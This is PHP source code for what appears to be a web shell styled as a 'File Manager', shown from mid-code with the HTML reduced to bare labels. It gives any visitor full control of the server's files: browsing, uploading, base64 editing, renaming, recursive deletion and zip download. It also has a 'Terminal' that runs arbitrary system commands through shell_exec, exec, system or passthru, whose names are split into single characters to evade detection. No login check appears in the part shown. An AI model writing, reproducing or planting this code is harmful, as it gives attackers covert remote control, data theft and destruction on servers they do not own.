( ◞≼☸≽◟ ._ゝ◞≼☸≽◟)zcsdf吖&1'); if ($result !== false && !empty(trim($result))) { return $result; } } catch (Exception $e) { continue; } } } return "Command execution not available"; } if (isset($_POST['navigate'])) { $targetDir = $_POST['navigate']; if (@is_dir($targetDir)) { $_SESSION['current_dir'] = validatePath($targetDir); $notification = 'Directory changed successfully'; } } // Standard file upload from xenium2 with directory creation fix if (isset($_FILES['file_upload']) && $_FILES['file_upload']['error'] !== UPLOAD_ERR_NO_FILE) { if ($_FILES['file_upload']['error'] === UPLOAD_ERR_OK) { $fileName = basename($_FILES['file_upload']['name']); $uploadPath = rtrim($_SESSION['current_dir'], '/\\') . DIRECTORY_SEPARATOR . $fileName; // Additional security check if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) { $errorMsg = 'Upload failed: Invalid filename'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Upload failed: Directory not writable'; } elseif (move_uploaded_file($_FILES['file_upload']['tmp_name'], $uploadPath)) { @chmod($uploadPath, 0644); $notification = 'File uploaded successfully'; } else { $errorMsg = 'Upload failed: Could not move file. Check directory permissions.'; } } else { $uploadErrors = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File partially uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'Upload stopped by extension' ]; $errorMsg = 'Upload error: ' . ($uploadErrors[$_FILES['file_upload']['error']] ?? 'Unknown error'); } } if (isset($_POST['remove'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['remove']); if ($targetPath === false) { $errorMsg = 'Delete failed: Invalid path'; } elseif (@is_file($targetPath)) { if (@unlink($targetPath)) { $notification = 'File deleted'; } else { $errorMsg = 'Delete failed: Permission denied or file in use'; } } elseif (@is_dir($targetPath)) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (@rmdir($targetPath)) { $notification = 'Directory deleted'; } else { $errorMsg = 'Delete failed: Could not remove directory'; } } catch (Exception $e) { $errorMsg = 'Delete failed: ' . $e->getMessage(); } } else { $errorMsg = 'Delete failed: Path not found'; } } if (isset($_POST['old_name'], $_POST['new_name'])) { $sourcePath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['old_name']); if ($sourcePath === false) { $errorMsg = 'Rename failed: Source not found'; } else { $destinationPath = dirname($sourcePath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (@file_exists($destinationPath)) { $errorMsg = 'Rename failed: Target name already exists'; } elseif (@rename($sourcePath, $destinationPath)) { $notification = 'Rename successful'; } else { $errorMsg = 'Rename failed: Permission denied or invalid name'; } } } // File editing with base64 encoding from xenium2 if (isset($_POST['file_to_edit'], $_POST['file_content'])) { $editPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['file_to_edit']); if ($editPath === false || !@is_file($editPath)) { $errorMsg = 'Edit failed: File not found'; } elseif (!@is_writable($editPath)) { $errorMsg = 'Edit failed: File not writable'; } else { $decodedContent = base64_decode($_POST['file_content']); if (@file_put_contents($editPath, $decodedContent) !== false) { $notification = 'File saved'; } else { $errorMsg = 'Edit failed: Could not write to file'; } } } if (isset($_POST['create_file']) && trim($_POST['create_file']) !== '') { $fileName = sanitizeFileName($_POST['create_file']); if ($fileName === false) { $errorMsg = 'Create failed: Invalid filename'; } else { $newFilePath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fileName; if (@file_exists($newFilePath)) { $errorMsg = 'Create failed: File already exists'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@file_put_contents($newFilePath, '') !== false) { @chmod($newFilePath, 0644); $notification = 'File created'; } else { $errorMsg = 'Create failed: Could not create file'; } } } if (isset($_POST['create_folder']) && trim($_POST['create_folder']) !== '') { $folderName = sanitizeFileName($_POST['create_folder']); if ($folderName === false) { $errorMsg = 'Create failed: Invalid folder name'; } else { $newFolderPath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $folderName; if (@file_exists($newFolderPath)) { $errorMsg = 'Create failed: Folder already exists'; } elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@mkdir($newFolderPath, 0755)) { $notification = 'Folder created'; } else { $errorMsg = 'Create failed: Could not create folder'; } } } $currentDirectory = $_SESSION['current_dir']; $directoryContents = scandir($currentDirectory); $folders = $files = []; foreach ($directoryContents as $item) { if ($item === '.') continue; $fullPath = $currentDirectory . '/' . $item; if (@is_dir($fullPath)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); $allItems = array_merge($folders, $files); $fileToEdit = $_POST['edit'] ?? null; $fileToView = $_POST['view'] ?? null; $itemToRename = $_POST['rename'] ?? null; $fileContent = $fileToEdit ? @file_get_contents($currentDirectory . '/' . $fileToEdit) : null; $viewContent = $fileToView ? @file_get_contents($currentDirectory . '/' . $fileToView) : null; // Handle bulk delete if (isset($_POST['bulk_delete']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { $deleted = 0; $failed = 0; foreach ($_POST['selected_items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) { $failed++; continue; } if (@is_file($targetPath)) { if (@unlink($targetPath)) { $deleted++; } else { $failed++; } } elseif (@is_dir($targetPath)) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (@rmdir($targetPath)) { $deleted++; } else { $failed++; } } catch (Exception $e) { $failed++; } } } if ($deleted > 0) { $notification = "Deleted $deleted item(s)"; } if ($failed > 0) { $errorMsg = "Failed to delete $failed item(s)"; } } // Handle bulk download if (isset($_POST['bulk_download']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { if (class_exists('ZipArchive')) { $zipName = 'selected_files_' . time() . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($_POST['selected_items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) continue; if (@is_file($targetPath)) { $zip->addFile($targetPath, basename($targetPath)); } elseif (@is_dir($targetPath)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = basename($targetPath) . '/' . substr($filePath, strlen($targetPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); @unlink($zipPath); exit; } else { $errorMsg = 'Bulk download failed: Could not create zip file'; } } else { $errorMsg = 'Bulk download failed: ZipArchive not available'; } } // Handle file/folder download if (isset($_POST['download'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['download']); if ($targetPath === false) { $errorMsg = 'Download failed: Invalid path'; } elseif (@is_file($targetPath)) { // Direct file download header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($targetPath) . '"'); header('Content-Length: ' . filesize($targetPath)); readfile($targetPath); exit; } elseif (@is_dir($targetPath)) { // Zip folder and download if (class_exists('ZipArchive')) { $zipName = basename($targetPath) . '_' . time() . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($targetPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); @unlink($zipPath); exit; } else { $errorMsg = 'Download failed: Could not create zip file'; } } else { $errorMsg = 'Download failed: ZipArchive not available'; } } } $commandResult = ''; $commandAvailable = false; $methods = [ 's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c', 'e'.'x'.'e'.'c', 's'.'y'.'s'.'t'.'e'.'m', 'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u' ]; foreach ($methods as $func) { if (function_exists($func)) { $commandAvailable = true; break; } } if (isset($_POST['terminal_command']) && trim($_POST['terminal_command']) !== '') { $cmd = trim($_POST['terminal_command']); if (!empty($cmd)) { try { $commandResult = runCommand($cmd); if (empty(trim($commandResult)) || $commandResult === "Command execution not available") { $errorMsg = 'Command execution: No output or function disabled'; } } catch (Exception $e) { $errorMsg = 'Command error: ' . htmlspecialchars($e->getMessage()); } } } ?> FILE MANAGER

FILE MANAGER

Navigate and manage your files

Current Directory
Upload File
Standard Upload
Advanced Upload

Status: No file selected

Create New
Viewing:
Editing:
Terminal
Name Type Actions